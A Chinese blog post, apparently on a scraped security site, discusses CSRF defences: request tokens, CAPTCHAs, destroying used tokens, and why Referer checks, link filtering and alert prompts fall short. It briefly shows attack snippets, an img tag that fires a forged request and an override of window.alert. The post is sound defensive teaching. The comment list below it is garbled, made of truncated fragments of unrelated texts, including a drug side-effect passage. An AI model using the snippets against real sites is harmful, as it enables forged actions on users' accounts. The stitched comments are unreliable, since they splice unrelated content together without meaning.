第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

  • 评论列表:
  •  黑客技术
     发布于 2022-06-28 11:17:13  回复该评论
  • 识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS
  •  黑客技术
     发布于 2022-06-28 19:05:14  回复该评论
  • R)升高及/或出血事件 角膜糜烂,可逆,有时伴异常睫毛生长。 间质性肺病,常较严重(CTC3-4)级,已有致死性病历的报道。 罕见 (0.01- £0.1%) 消化系统: 胰腺炎. 极罕见(0.01%) 皮肤及附件: 过敏反应,包括血管性水肿和风
  •  黑客技术
     发布于 2022-06-28 18:52:17  回复该评论
  • 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。现在看来,大多数 Web 开发者都了解 XSS 并知道如
  •  黑客技术
     发布于 2022-06-28 16:15:59  回复该评论
  • 个架构所谓的分离,其实是把很多原来前端不需要做的事揽到了自己的手上,增加前端架构师的KPI,让前端做了更多的事,周报好写。因为nodejs和前端都是js,所以学习成本并不算高,但是对一个技术人员的要求是比原来更高了。但是,他们
  •  黑客技术
     发布于 2022-06-28 20:48:23  回复该评论
  • 家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.